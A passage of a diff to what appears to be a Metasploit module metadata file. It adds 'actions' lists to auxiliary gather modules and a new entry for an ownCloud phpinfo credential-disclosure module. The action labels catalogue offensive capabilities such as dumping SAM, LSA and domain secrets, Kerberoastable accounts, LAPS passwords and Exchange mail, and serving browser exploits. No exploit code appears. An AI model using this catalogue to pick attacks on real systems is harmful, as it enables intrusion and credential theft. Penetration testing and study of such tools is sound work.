{ }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/elasticsearch_enum": { "name": "Elasticsearch Enumeration Utility", @@ -18952,7 +21021,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/emc_cta_xxe": { "name": "EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read", @@ -19000,7 +21072,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/enum_dns": { "name": "DNS Record Scanner and Enumerator", @@ -19040,7 +21115,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/eventlog_cred_disclosure": { "name": "ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure", @@ -19091,7 +21169,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/exchange_proxylogon_collector": { "name": "Microsoft Exchange ProxyLogon Collector", @@ -19157,7 +21238,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Dump (Contacts)", + "description": "Dump user contacts from exchange server" + }, + { + "name": "Dump (Emails)", + "description": "Dump user emails from exchange server" + } + ] }, "auxiliary_gather/external_ip": { "name": "Discover External IP via Ifconfig.me", @@ -19204,7 +21295,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/f5_bigip_cookie_disclosure": { "name": "F5 BIG-IP Backend Cookie Disclosure", @@ -19267,7 +21361,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/firefox_pdfjs_file_theft": { "name": "Firefox PDF.js Browser File Theft", @@ -19310,7 +21407,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_gather/flash_rosetta_jsonp_url_disclosure": { "name": "Flash \"Rosetta\" JSONP GET/POST Response Disclosure", @@ -19352,7 +21455,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_gather/fortios_vpnssl_traversal_creds_leak": { "name": "FortiOS Path Traversal Credential Gatherer", @@ -19416,7 +21525,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/get_user_spns": { "name": "Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)", @@ -19460,7 +21572,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/gitlab_authenticated_subgroups_file_read": { "name": "GitLab Authenticated File Read", @@ -19521,7 +21636,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/grandstream_ucm62xx_sql_account_guess": { "name": "Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump", @@ -19580,7 +21698,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/hikvision_info_disclosure_cve_2017_7921": { "name": "Unauthenticated information disclosure such as configuration, credentials and camera snapshots of a vulnerable Hikvision IP Camera", @@ -19641,7 +21762,25 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Automatic", + "description": "Dump all information" + }, + { + "name": "Configuration", + "description": "Dump camera hardware and software configuration" + }, + { + "name": "Credentials", + "description": "Dump all credentials and passwords" + }, + { + "name": "Snapshot", + "description": "Take a camera snapshot" + } + ] }, "auxiliary_gather/hp_enum_perfd": { "name": "HP Operations Manager Perfd Environment Scanner", @@ -19679,7 +21818,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/hp_snac_domain_creds": { "name": "HP ProCurve SNAC Domain Controller Credential Dumper", @@ -19727,7 +21869,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/http_pdf_authors": { "name": "Gather PDF Authors", @@ -19774,7 +21919,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/huawei_wifi_info": { "name": "Huawei Datacard Information Disclosure Vulnerability", @@ -19824,7 +21972,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ibm_bigfix_sites_packages_enum": { "name": "IBM BigFix Relay Server Sites and Package Enum", @@ -19875,7 +22026,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ibm_sametime_enumerate_users": { "name": "IBM Lotus Notes Sametime User Enumeration", @@ -19923,7 +22077,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ibm_sametime_room_brute": { "name": "IBM Lotus Notes Sametime Room Name Bruteforce", @@ -19971,7 +22128,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ibm_sametime_version": { "name": "IBM Lotus Sametime Version Enumeration", @@ -20019,7 +22179,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ie_sandbox_findfiles": { "name": "Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability", @@ -20059,7 +22222,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ie_uxss_injection": { "name": "MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection", @@ -20104,7 +22270,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/impersonate_ssl": { "name": "HTTP SSL Certificate Impersonation", @@ -20142,7 +22311,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ipcamera_password_disclosure": { "name": "JVC/Siemens/Vanderbilt IP-Camera Readfile Password Disclosure", @@ -20192,7 +22364,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/java_rmi_registry": { "name": "Java RMI Registry Interfaces Enumeration", @@ -20230,7 +22405,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/jenkins_cred_recovery": { "name": "Jenkins Domain Credential Recovery", @@ -20279,7 +22457,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/jetty_web_inf_disclosure": { "name": "Jetty WEB-INF File Disclosure", @@ -20345,7 +22526,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "READ_FILE", + "description": "Read file on the remote server from WEB-INF folder" + } + ] }, "auxiliary_gather/joomla_com_realestatemanager_sqli": { "name": "Joomla Real Estate Manager Component Error-Based SQL Injection", @@ -20393,7 +22580,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/joomla_contenthistory_sqli": { "name": "Joomla com_contenthistory Error-Based SQL Injection", @@ -20443,7 +22633,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/joomla_weblinks_sqli": { "name": "Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read", @@ -20491,7 +22684,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/kerberos_enumusers": { "name": "Kerberos Domain User Enumeration", @@ -20531,7 +22727,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/konica_minolta_pwd_extract": { "name": "Konica Minolta Password Extractor", @@ -20579,7 +22778,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/lansweeper_collector": { "name": "Lansweeper Credential Collector", @@ -20628,7 +22830,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ldap_esc_vulnerable_cert_finder": { "name": "Misconfigured Certificate Template Finder", @@ -20675,7 +22880,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ldap_hashdump": { "name": "LDAP Information Disclosure", @@ -20723,7 +22931,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Dump", + "description": "Dump all LDAP data" + } + ] }, "auxiliary_gather/ldap_query": { "name": "LDAP Query and Enumeration Module", @@ -20751,7 +22965,7 @@ ], "targets": null, - "mod_time": "2023-08-14 16:14:36 +0000", + "mod_time": "2023-11-24 07:42:38 +0000", "path": "/modules/auxiliary/gather/ldap_query.rb", "is_install_path": true, "ref_name": "gather/ldap_query", @@ -20770,7 +22984,137 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ENUM_ACCOUNTS", + "description": "Dump info about all known user accounts in the domain." + }, + { + "name": "ENUM_ADMIN_OBJECTS", + "description": "Dump info about all objects with protected ACLs (i.e highly privileged objects)." + }, + { + "name": "ENUM_AD_CS_CAS", + "description": "Enumerate AD Certificate Service certificate authorities." + }, + { + "name": "ENUM_AD_CS_CERT_TEMPLATES", + "description": "Enumerate AD Certificate Service certificate templates." + }, + { + "name": "ENUM_ALL_OBJECT_CATEGORY", + "description": "Dump all objects containing any objectCategory field." + }, + { + "name": "ENUM_ALL_OBJECT_CLASS", + "description": "Dump all objects containing any objectClass field." + }, + { + "name": "ENUM_COMPUTERS", + "description": "Dump all objects containing an objectCategory or objectClass of Computer." + }, + { + "name": "ENUM_CONSTRAINED_DELEGATION", + "description": "Dump info about all known objects that allow contrained delegation." + }, + { + "name": "ENUM_DNS_RECORDS", + "description": "Dump info about DNS records the server knows about using the dnsNode object class." + }, + { + "name": "ENUM_DNS_ZONES", + "description": "Dump all known DNS zones using the dnsZone object class under the DC DomainDnsZones. Without A BASEDN prefix you can miss certain entries." + }, + { + "name": "ENUM_DOMAIN", + "description": "Dump info about the Active Directory domain." + }, + { + "name": "ENUM_DOMAIN_CONTROLLERS", + "description": "Dump all known domain controllers." + }, + { + "name": "ENUM_EXCHANGE_RECIPIENTS", + "description": "Dump info about all known Exchange recipients." + }, + { + "name": "ENUM_EXCHANGE_SERVERS", + "description": "Dump info about all known Exchange servers." + }, + { + "name": "ENUM_GMSA_HASHES", + "description": "Dump info about GMSAs and their password hashes if available." + }, + { + "name": "ENUM_GROUPS", + "description": "Dump info about all known groups in the LDAP environment." + }, + { + "name": "ENUM_GROUP_POLICY_OBJECTS", + "description": "Dump info about all known Group Policy Objects (GPOs) in the LDAP environment." + }, + { + "name": "ENUM_HOSTNAMES", + "description": "Dump info about all known hostnames in the LDAP environment." + }, + { + "name": "ENUM_LAPS_PASSWORDS", + "description": "Dump info about computers that have LAPS enabled, and passwords for them if available." + }, + { + "name": "ENUM_LDAP_SERVER_METADATA", + "description": "Dump metadata about the setup of the domain." + }, + { + "name": "ENUM_MACHINE_ACCOUNT_QUOTA", + "description": "Dump the number of computer accounts a user is allowed to create in a domain." + }, + { + "name": "ENUM_ORGROLES", + "description": "Dump info about all known organization roles in the LDAP environment." + }, + { + "name": "ENUM_ORGUNITS", + "description": "Dump info about all known organizational units in the LDAP environment." + }, + { + "name": "ENUM_UNCONSTRAINED_DELEGATION", + "description": "Dump info about all known objects that allow unconstrained delegation." + }, + { + "name": "ENUM_USER_ACCOUNT_DISABLED", + "description": "Dump info about disabled user accounts." + }, + { + "name": "ENUM_USER_ACCOUNT_LOCKED_OUT", + "description": "Dump info about locked out user accounts." + }, + { + "name": "ENUM_USER_ASREP_ROASTABLE", + "description": "Dump all users who are configured not to require kerberos pre-authentication, i.e. AS-REP roastable." + }, + { + "name": "ENUM_USER_PASSWORD_NEVER_EXPIRES", + "description": "Dump info about all users whose password never expires." + }, + { + "name": "ENUM_USER_PASSWORD_NOT_REQUIRED", + "description": "Dump info about all users whose password never expires and whose account is still enabled." + }, + { + "name": "ENUM_USER_SPNS_KERBEROAST", + "description": "Dump info about all user objects with Service Principal Names (SPNs) for kerberoasting." + }, + { + "name": "RUN_QUERY_FILE", + "description": "Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE." + }, + { + "name": "RUN_SINGLE_QUERY", + "description": "Execute a single LDAP query using the QUERY_FILTER and QUERY_ATTRIBUTES options." + } + ] }, "auxiliary_gather/manageengine_adaudit_plus_xnode_enum": { "name": "ManageEngine ADAudit Plus Xnode Enumeration", @@ -20810,7 +23154,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/manageengine_datasecurity_plus_xnode_enum": { "name": "ManageEngine DataSecurity Plus Xnode Enumeration", @@ -20850,7 +23197,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/mantisbt_admin_sqli": { "name": "MantisBT Admin SQL Injection Arbitrary File Read", @@ -20899,7 +23249,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/mcafee_epo_xxe": { "name": "McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure", @@ -20948,7 +23301,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/memcached_extractor": { "name": "Memcached Extractor", @@ -20986,7 +23342,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/microweber_lfi": { "name": "Microweber CMS v1.2.10 Local File Inclusion (Authenticated)", @@ -21043,7 +23402,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/mikrotik_winbox_fileread": { "name": "Mikrotik Winbox Arbitrary File Read", @@ -21086,7 +23448,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/mongodb_js_inject_collection_enum": { "name": "MongoDB NoSQL Collection Enumeration Via Injection", @@ -21133,7 +23498,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ms14_052_xmldom": { "name": "MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure", @@ -21175,7 +23543,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/mybb_db_fingerprint": { "name": "MyBB Database Fingerprint", @@ -21222,7 +23593,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/natpmp_external_address": { "name": "NAT-PMP External Address Scanner", @@ -21260,7 +23634,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/netgear_password_disclosure": { "name": "NETGEAR Administrator Password Disclosure", @@ -21313,7 +23690,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/nis_bootparamd_domain": { "name": "NIS bootparamd Domain Name Disclosure", @@ -21355,7 +23735,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/nis_ypserv_map": { "name": "NIS ypserv Map Dumper", @@ -21394,7 +23777,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/nuuo_cms_bruteforce": { "name": "Nuuo Central Management Server User Session Token Bruteforce", @@ -21435,7 +23821,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/nuuo_cms_file_download": { "name": "Nuuo Central Management Server Authenticated Arbitrary File Download", @@ -21476,7 +23865,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/oats_downloadservlet_traversal": { "name": "Oracle Application Testing Suite Post-Auth DownloadServlet Directory Traversal", @@ -21526,7 +23918,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/office365userenum": { "name": "Office 365 User Enumeration", @@ -21564,7 +23959,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/opennms_xxe": { "name": "OpenNMS Authenticated XXE", @@ -21612,7 +24010,77 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] + }, + "auxiliary_gather/owncloud_phpinfo_reader": { + "name": "ownCloud Phpinfo Reader", + "fullname": "auxiliary/gather/owncloud_phpinfo_reader", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-11-21", + "type": "auxiliary", + "author": [ + "h00die", + "creacitysec", + "Ron Bowes", + "random-robbie", + "Christian Fischer" + ], + "description": "Docker containers of ownCloud compiled after February 2023, which have version 0.2.0 before 0.2.1 or 0.3.0 before 0.3.1 of the app `graph` installed\n contain a test file which prints `phpinfo()` to an unauthenticated user. A post file name must be appended to the URL to bypass the login filter.\n Docker may export sensitive environment variables including ownCloud, DB, redis, SMTP, and S3 credentials, as well as other host information.", + "references": [ + "URL-https://owncloud.com/security-advisories/disclosure-of-sensitive-credentials-and-configuration-in-containerized-deployments/", + "URL-https://github.com/creacitysec/CVE-2023-49103", + "URL-https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/", + "URL-https://www.rapid7.com/blog/post/2023/12/01/etr-cve-2023-49103-critical-information-disclosure-in-owncloud-graph-api/", + "CVE-2023-49103" + ], + "platform": "", + "arch": "", + "rport": 8080, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-12-04 20:09:56 +0000", + "path": "/modules/auxiliary/gather/owncloud_phpinfo_reader.rb", + "is_install_path": true, + "ref_name": "gather/owncloud_phpinfo_reader", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/peplink_bauth_sqli": { "name": "Peplink Balance routers SQLi", @@ -21671,7 +24139,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/pimcore_creds_sqli": { "name": "Pimcore Gather Credentials via SQL Injection", @@ -21724,7 +24195,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/piwigo_cve_2023_26876": { "name": "Piwigo CVE-2023-26876 Gather Credentials via SQL Injection ", @@ -21783,7 +24257,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/prometheus_api_gather": { "name": "Prometheus API Information Gather", @@ -21839,7 +24316,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/prometheus_node_exporter_gather": { "name": "Prometheus Node Exporter And Windows Exporter Information Gather", @@ -21896,7 +24376,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/pulse_secure_file_disclosure": { "name": "Pulse Secure VPN Arbitrary File Disclosure", @@ -21962,7 +24445,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Automatic", + "description": "Dump creds and sessions" + }, + { + "name": "Manual", + "description": "Dump an arbitrary file (FILE option)" + } + ] }, "auxiliary_gather/python_flask_cookie_signer": { "name": "Python Flask Cookie Signer", @@ -22020,7 +24513,21 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "FindSecret", + "description": "Brute force the secret key used to sign the cookie" + }, + { + "name": "Resign", + "description": "Resign the specified cookie data" + }, + { + "name": "Retrieve", + "description": "Retrieve a cookie from an HTTP(s) server" + } + ] }, "auxiliary_gather/qnap_backtrace_admin_hash": { "name": "QNAP NAS/NVR Administrator Hash Disclosure", @@ -22070,7 +24577,21 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ARM", + "description": "ARM target" + }, + { + "name": "Automatic", + "description": "Automatic targeting" + }, + { + "name": "x86", + "description": "x86 target" + } + ] }, "auxiliary_gather/qnap_lfi": { "name": "QNAP QTS and Photo Station Local File Inclusion", @@ -22133,7 +24654,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Download", + "description": "Download the file at FILEPATH" + } + ] }, "auxiliary_gather/rails_doubletap_file_read": { "name": "Ruby On Rails File Content Disclosure ('doubletap')", @@ -22189,7 +24716,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/redis_extractor": { "name": "Redis Extractor", @@ -22236,7 +24766,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/roundcube_auth_file_read": { "name": "Roundcube TimeZone Authenticated File Disclosure", @@ -22296,7 +24829,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/safari_file_url_navigation": { "name": "Mac OS X Safari file:// Redirection Sandbox Escape", @@ -22336,7 +24872,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/saltstack_salt_root_key": { "name": "SaltStack Salt Master Server Root Key Disclosure", @@ -22390,7 +24929,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Dump", + "description": "Dump root key from Salt master" + } + ] }, "auxiliary_gather/samsung_browser_sop_bypass": { "name": "Samsung Internet Browser SOP Bypass", @@ -22431,7 +24976,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_gather/search_email_collector": { "name": "Search Engine Domain Email Address Collector", @@ -22469,7 +25020,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/searchengine_subdomains_collector": { "name": "Search Engine Subdomains Collector", @@ -22516,7 +25070,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/shodan_honeyscore": { "name": "Shodan Honeyscore Client", @@ -22554,7 +25111,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/shodan_host": { "name": "Shodan Host Port", @@ -22610,7 +25170,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/shodan_search": { "name": "Shodan Search", @@ -22658,7 +25221,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/snare_registry": { "name": "Snare Lite for Windows Registry Access", @@ -22705,7 +25271,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/solarwinds_orion_sqli": { "name": "Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation", @@ -22752,7 +25321,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/ssllabs_scan": { "name": "SSL Labs API Client", @@ -22791,7 +25363,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/suite_crm_export_sqli": { "name": "SuiteCRM authenticated SQL injection in export functionality", @@ -22850,7 +25425,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Dump credentials", + "description": "Dumps usernames and passwords from the users table" + } + ] }, "auxiliary_gather/teamtalk_creds": { "name": "TeamTalk Gather Credentials", @@ -22888,7 +25469,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/tplink_archer_c7_traversal": { "name": "Archer C7 Directory Traversal Vulnerability", @@ -22947,7 +25531,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/trackit_sql_domain_creds": { "name": "BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure", @@ -22988,7 +25575,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/vbulletin_getindexablecontent_sqli": { "name": "vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection", @@ -23045,7 +25635,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "DumpAll", + "description": "Dump all tables used by vbulletin." + }, + { + "name": "DumpUser", + "description": "Dump only user table used by vbulletin." + } + ] }, "auxiliary_gather/vbulletin_vote_sqli": { "name": "vBulletin Password Collector via nodeid SQL Injection", @@ -23098,7 +25698,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/vmware_vcenter_vmdir_ldap": { "name": "VMware vCenter Server vmdir Information Disclosure", @@ -23147,7 +25750,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Dump", + "description": "Dump all LDAP data" + } + ] }, "auxiliary_gather/windows_deployment_services_shares": { "name": "Microsoft Windows Deployment Services Unattend Gatherer", @@ -23188,7 +25797,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/windows_secrets_dump": { "name": "Windows Secrets Dump", @@ -23219,7 +25831,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2023-07-14 12:46:26 +0000", + "mod_time": "2023-10-13 11:11:22 +0000", "path": "/modules/auxiliary/gather/windows_secrets_dump.rb", "is_install_path": true, "ref_name": "gather/windows_secrets_dump", @@ -23238,7 +25850,29 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ALL", + "description": "Dump everything" + }, + { + "name": "CACHE", + "description": "Dump cached hashes" + }, + { + "name": "DOMAIN", + "description": "Dump domain secrets (credentials, password history, Kerberos keys, etc.)" + }, + { + "name": "LSA", + "description": "Dump LSA secrets" + }, + { + "name": "SAM", + "description": "Dump SAM hashes" + } + ] }, "auxiliary_gather/wp_all_in_one_migration_export": { "name": "WordPress All-in-One Migration Export", @@ -23287,7 +25921,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/wp_bookingpress_category_services_sqli": { "name": "Wordpress BookingPress bookingpress_front_get_category_services SQLi", @@ -23347,7 +25984,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/wp_ultimate_csv_importer_user_extract": { "name": "WordPress Ultimate CSV Importer User Table Extract", @@ -23395,7 +26035,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/wp_w3_total_cache_hash_extract": { "name": "WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract", @@ -23445,7 +26088,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/xbmc_traversal": { "name": "XBMC Web Server Directory Traversal", @@ -23496,7 +26142,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/xerox_pwd_extract": { "name": "Xerox Administrator Console Password Extractor", @@ -23535,7 +26184,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/xerox_workcentre_5xxx_ldap": { "name": "Xerox Workcentre 5735 LDAP Service Redential Extractor", @@ -23583,7 +26235,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + 